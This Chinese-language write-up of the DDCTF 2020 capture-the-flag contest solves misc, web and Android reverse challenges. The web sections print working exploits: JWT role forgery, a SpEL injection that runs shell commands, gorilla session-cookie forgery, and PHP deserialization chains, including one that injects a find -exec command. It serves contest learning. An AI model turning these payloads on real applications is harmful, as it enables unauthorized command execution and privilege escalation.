CTF 安全

DDCTF 2020 WriteUp

前言

滴,老人卡~

周末花了一天时间,做了几道题。

比赛入口地址:https://ddctf.didichuxing.com/

Misc - 真·签到题

flag在公告栏里。

Flag: DDCTF{he1l0_ddctf_2o2o_*\^o^/*=3=33!!!}

Web - Web签到题

http://117.51.136.197/hint/1.txt

主要有两个API,一个是登录,一个是验证,验证成功后才可以下载客户端。

Interface documentation
- login interface
[-][Safet Reminder]The Private key cannot use request parameter
Request
Method | POST
URL    | http://117.51.136.197/admin/login
Param  | username str | pwd str
Response
token str | auth(Certification information)

- auth interface
Request
Method | POST
URL    | http://117.51.136.197/admin/auth
Param  | username str | pwd str | token str
Response
url str | client download link

有一条提示,私钥不能使用请求的参数。

经过猜测和尝试,发现token是JWT,pwd是作为token加密的私钥。

上工具 ticarpi/jwt_tool,将 userRole 由原来的 GUEST 改成 ADMIN,然后重新签名,请求 /admin/auth

$ curl -X POST -d 'username=agg&pwd=bs&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFnZyIsInB3ZCI6ImJzIiwidXNlclJvbGUiOiJBRE1JTiIsImV4cCI6MTU5OTMyMzM1M30.-hrIKrExEQTIGDYOEFLuGVKBbkSeXUnqLwulot951_o' 'http://117.51.136.197/admin/auth'
{"code":0,"message":"success","data":"client dowload url: http://117.51.136.197/B5Itb8dFDaSFWZZo/client"}

下载客户端,上IDA,Golang,上插件 IDAGolangHelper,恢复符号表。在 main_getSign 下可以找到,使用了 HMAC 结合 SHA256 签名,密钥为 DDCTFWithYou

然后可以执行 Command,经过一段时间尝试,发现是 SpEL注入

黑名单了 forNamegetClass 之类的,不过 T() 还是能用。

客户端告诉我们,flag在 /home/dc2-user/flag/flag.txt

直接贴个最终exp:

import requests
import time
import base64
import hmac
from hashlib import sha256
import json

command = "T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('cat /home/dc2-user/flag/flag.txt').getInputStream())"
timestamp = int(time.time()) + 3600
signature = base64.b64encode(hmac.new('DDCTFWithYou'.encode(), ('%s|%d' % (command, timestamp)).encode(), digestmod=sha256).digest()).decode()

headers = {'Content-Type': 'application/json'}
data = json.dumps({"signature": signature, "command": command, "timestamp": timestamp})

r = requests.post('http://117.51.136.197/server/command', headers=headers, data=data)
print(r.text)

Flag: DDCTF{Q24uf486whGOWN44UtZCjYUgdnnnRaVs}

Misc - 一起拼图吗

一张大图片,被拆分成6400块小图片,猜测flag藏在小图片中,需要对小图片进行拼接,涉及图像识别。

参考资料:

python OpenCV 图片相似度 5种算法 Python实现图片裁剪的两种方式——Pillow和OpenCV Python OPenCV 图片简单拼接 hconcat vconcat函数使用

附上图片拼接脚本(只拼接含有flag的区域):

import cv2
import os

src = './demo.jpg'
dst = './result.jpg'
path = './file_d0wnl0ad/'
imgData = {}
imgHash = {}

def dHash(img):
    # 差值哈希算法
    # 缩放8*8
    img = cv2.resize(img, (9, 8))
    # 转换灰度图
    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    hash_str = ''
    # 每行前一个像素大于后一个像素为1,相反为0,生成哈希
    for i in range(8):
        for j in range(8):
            if gray[i, j] > gray[i, j+1]:
                hash_str = hash_str+'1'
            else:
                hash_str = hash_str+'0'
    return hash_str

def cmpHash(hash1, hash2):
    # Hash值对比
    # 算法中1和0顺序组合起来的即是图片的指纹hash。顺序不固定,但是比较的时候必须是相同的顺序。
    # 对比两幅图的指纹,计算汉明距离,即两个64位的hash值有多少是不一样的,不同的位数越小,图片越相似
    # 汉明距离:一组二进制数据变成另一组数据所需要的步骤,可以衡量两图的差异,汉明距离越小,则相似度越高。汉明距离为0,即两张图片完全一样
    n = 0
    # hash长度不同则返回-1代表传参出错
    if len(hash1) != len(hash2):
        return -1
    # 遍历判断
    for i in range(len(hash1)):
        # 不相等则n计数+1,n最终为相似度
        if hash1[i] != hash2[i]:
            n = n + 1
    return n

for filename in os.listdir(path):
    imgData[filename] = cv2.imread(path + filename)
    imgHash[filename] = dHash(imgData[filename])

img = cv2.imread(src)
col = []
bad_image = ['4137be1695080b57.png', '5c377932f3ccba48.png'] # 跳过这一个错误块
for y in range(10, 14):
    row = []
    for x in range(1, 13):
        cropped = img[27*y:27*(y+1), 51*x:51*(x+1)]
        params = ['', 1024, dHash(cropped)]
        for i in imgHash:
            if x == 3 and y == 11 and i in bad_image: continue
            cmpRes = cmpHash(imgHash[i], params[2])
            if cmpRes < params[1]:
                params[1] = cmpRes
                params[0] = i
            if cmpRes == 0:
                break
        if x == 3 and y == 11: print(params[0] )
        row.append(imgData[params[0]])
    col.append(cv2.hconcat(row))
cv2.imwrite(dst, cv2.vconcat(col))

结果输出到 ./result.jpg

Flag: DDCTF{484e61cd1483c34d64739fe6b775216c}

Web - 卡片商店

手工整数溢出

http://116.85.37.131/0714dcd10ba8571bc7887aeaa4adaa0e/loans?loans=9999999999

等30秒,刷新卡片,然后就可以兑换礼物。

给出提示:

恭喜你,买到了礼物,里面有夹心饼干、杜松子酒和一张小纸条,纸条上面写着:url: /flag , SecKey: Udc13VD5adM_c10nPxFu@v12,你能看懂它的含义吗?

猜测这是 session 签名用到的 key,对 session 进行 base64urldecode 后分析,后端应该是 golang。而比较出名的 session 管理器,应该是 github.com/gorilla/sessions。

应该需要伪造 session 里面的 admin 参数为 true,重新对 session 签名,然后访问 /flag 就可以了。

session 签名具体过程,参考 https://github.com/gorilla/securecookie/blob/master/securecookie.go#L259

gob 序列化,可以在 go playground 跑下面这段代码,就知道怎么改 admin 为 true了。

package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "log"
)

func main() {
    session_data := make(map[string]interface{},0)
    session_data["admin"] = true
    var buf bytes.Buffer       
        enc := gob.NewEncoder(&buf)
        err := enc.Encode(session_data)
        if err != nil {
            log.Fatal("encode error:", err)
        }
    fmt.Println(hex.Dump(buf.Bytes()))
}

以下是拿flag的exp:

import requests
import time
import base64
import hmac
import hashlib

balance = 'http://116.85.37.131/0714dcd10ba8571bc7887aeaa4adaa0e/balance'
flag = 'http://116.85.37.131/0714dcd10ba8571bc7887aeaa4adaa0e/flag'
session_name = b'session'
key = 'Udc13VD5adM_c10nPxFu@v12'

r = requests.get(balance)

cookie = base64.urlsafe_b64decode(r.headers['Set-Cookie'].split('session=')[1].split(';')[0])

cookie = cookie.split(b'|')

if len(cookie) != 3:
    print('try again')
    exit()

data = base64.urlsafe_b64decode(cookie[1])
data = data.replace(b'bool\x02\x02\x00\x00', b'bool\x02\x02\x00\x01')
cookie[1] = base64.urlsafe_b64encode(data)

signature = hmac.new(key.encode(), b'%b|%b|%b' % (session_name, cookie[0], cookie[1]), digestmod=hashlib.sha256).digest()

headers = {'Cookie': b'%b=%b' % (session_name, base64.urlsafe_b64encode(b'%b|%b|%b' % (cookie[0], cookie[1], signature)))}

r = requests.get(flag, headers=headers)
print(r.text)

Flag: DDCTF{Th151s3AsY4ormE2333!}

Web - Overwrite Me

有个提示,尝试访问 http://117.51.137.166/hint/hint.php ,发现 flag 的前部分已经给出,而且还提示与 GMP 反序列化有关。

这里我认为,预期解应该是反序列化用 include 文件包含,读取这个文件。

Payload如下:

<?php

class HintClass
{   
    protected  $hint;
    public function __construct()
    {
        $this->hint = 'php://filter/read=convert.base64-encode/resource=hint/hint.php';
    }
}

class ShowOff
{
    public $contents;
    public $page;

    public function __construct()
    {
        $this->page = new MiddleMan();
    }
}

class MiddleMan
{
    private $cont;
    public $content;

    public function __construct()
    {
        $this->content = new HintClass();
    }
}

echo urlencode(serialize(new ShowOff()));

# http://117.51.137.166/atkPWsr2x3omRZFi.php?bullet=O%3A7%3A%22ShowOff%22%3A2%3A%7Bs%3A8%3A%22contents%22%3BN%3Bs%3A4%3A%22page%22%3BO%3A9%3A%22MiddleMan%22%3A2%3A%7Bs%3A15%3A%22%00MiddleMan%00cont%22%3BN%3Bs%3A7%3A%22content%22%3BO%3A9%3A%22HintClass%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00hint%22%3Bs%3A62%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dhint%2Fhint.php%22%3B%7D%7D%7D

得到 hint.php 的内容:

<?php 
    echo "Good Job! You've got the preffix of the flag: DDCTF{VgQN6HXC2moDAq39";
    echo "And i'll give a hint, I have already installed the PHP GMP extension, It has a kind of magic in php unserialize, Can you utilize it to get the remaining flag? Go ahead!";
?>

然后上网查与 GMP 反序列化有关的资料,发现 __wakeup 有点用,但是预设值为 2,刚好有 $obstacle1$obstacle2 在中间隔开。

然后继续查资料,发现用 DateInterval 可以自己指定位置。

Payload如下:

<?php
$command = '-iname sth -or -exec cat /HackersForever/suffix_flag.php ; -quit';
$inner = 's:1:"4";a:2:{s:4:"flag";s:'.strlen($command).':"'.$command.'";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
echo urlencode($exploit);

# http://117.51.137.166/atkPWsr2x3omRZFi.php?bullet=a%3A1%3A%7Bi%3A0%3BC%3A3%3A%22GMP%22%3A137%3A%7Bs%3A1%3A%224%22%3Ba%3A2%3A%7Bs%3A4%3A%22flag%22%3Bs%3A64%3A%22-iname+sth+-or+-exec+cat+%2FHackersForever%2Fsuffix_flag.php+%3B+-quit%22%3Bi%3A0%3BO%3A12%3A%22DateInterval%22%3A1%3A%7Bs%3A1%3A%22y%22%3BR%3A2%3B%7D%7D%7D%7D

得到 suffix_flag.php 的内容:

<?php
    echo "ktVGosRfMQmazsxd}";
    echo "Well Done! You got the remaining flag, Congratulations!";
    echo "Combine your preffix_flag with suffix_flag and submit!";
?>

将flag的头尾结合起来

Flag: DDCTF{VgQN6HXC2moDAq39ktVGosRfMQmazsxd}

Reverse - Android Reverse 1

题目给出提示,MD5前的结果。

然后是一层 XXTEA,一层AES。

贴解密脚本:

from Crypto.Cipher import AES
import struct  

_DELTA = 0x9E3779B9  

def _long2str(v, w):  
    n = (len(v) - 1) << 2  
    if w:  
        m = v[-1]  
        if (m < n - 3) or (m > n): return ''  
        n = m  
    s = struct.pack('<%iL' % len(v), *v)  
    return s[0:n] if w else s  

def _str2long(s, w):  
    n = len(s)  
    m = (4 - (n & 3) & 3) + n  
    s = s.ljust(m, "\0")  
    v = list(struct.unpack('<%iL' % (m >> 2), s))  
    if w: v.append(n)  
    return v  

def encrypt(str, key):  
    if str == '': return str  
    v = _str2long(str, True)  
    k = _str2long(key.ljust(16, "\0"), False)  
    n = len(v) - 1  
    z = v[n]  
    y = v[0]  
    sum = 0  
    q = 6 + 52 // (n + 1)  
    while q > 0:  
        sum = (sum + _DELTA) & 0xffffffff  
        e = sum >> 2 & 3  
        for p in xrange(n):  
            y = v[p + 1]  
            v[p] = (v[p] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff  
            z = v[p]  
        y = v[0]  
        v[n] = (v[n] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[n & 3 ^ e] ^ z))) & 0xffffffff  
        z = v[n]  
        q -= 1  
    return _long2str(v, False)  

def decrypt(str, key):  
    if str == '': return str  
    v = _str2long(str, False)  
    k = _str2long(key.ljust(16, "\0"), False)  
    n = len(v) - 1  
    z = v[n]  
    y = v[0]  
    q = 6 + 52 // (n + 1)  
    sum = (q * _DELTA) & 0xffffffff  
    while (sum != 0):  
        e = sum >> 2 & 3  
        for p in xrange(n, 0, -1):  
            z = v[p - 1]  
            v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff  
            y = v[p]  
        z = v[n]  
        v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[0 & 3 ^ e] ^ z))) & 0xffffffff  
        y = v[0]  
        sum = (sum - _DELTA) & 0xffffffff  
    return _long2str(v, False)  

enc = ''
_enc = [0x6b,0x93,0x9c,0xfa,0xeb,0x68,0x4b,0x25,0x85,0x54,0xf9,0x1a,0x30,0x84,0xbc,0x7b,0x2c,0xce,0xf3,0x92,0xfe,0x63,0xae,0x67,0xf3,0xe7,0xfb,0x18,0xa2,0xb3,0x32,0x93]
for i in _enc:
    enc += chr(i)

key = '\x02\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00'

dec = decrypt(enc, key)

key = '1234567890123456'
cipher = AES.new(key)

print(cipher.decrypt(dec))

Flag: DDCTF{wsxsdf0987!}

Reverse - Android Reverse 2

跟上一题一样,只不过套了个梆梆壳,还有一层 ollvm。

FDex2 脱壳,可以找到调用了 libnative-lib.so 里的 Check

然后逆 so,可以借助 https://github.com/smartdone/re_scripts 解密字符串。

换了 XXTEA 的 key,其他与上一题一样。

_enc = [0x1d,0xb3,0x52,0xe2,0x0a,0xcd,0xc5,0x69,0xd0,0xe5,0x7c,0xdf,0x61,0xae,0xf0,0x8a,0xc1,0x51,0x54,0xde,0x3c,0xf7,0x58,0xd1,0x60,0xd6,0x57,0xde,0xae,0xeb,0x9a,0xaf]
key = '\x14\x00\x00\x00\x14\x00\x00\x00\x1e\x00\x00\x00\x28\x00\x00\x00'

Flag: DDCTF{FiNal CuP$}


标签: CTF 安全

Comments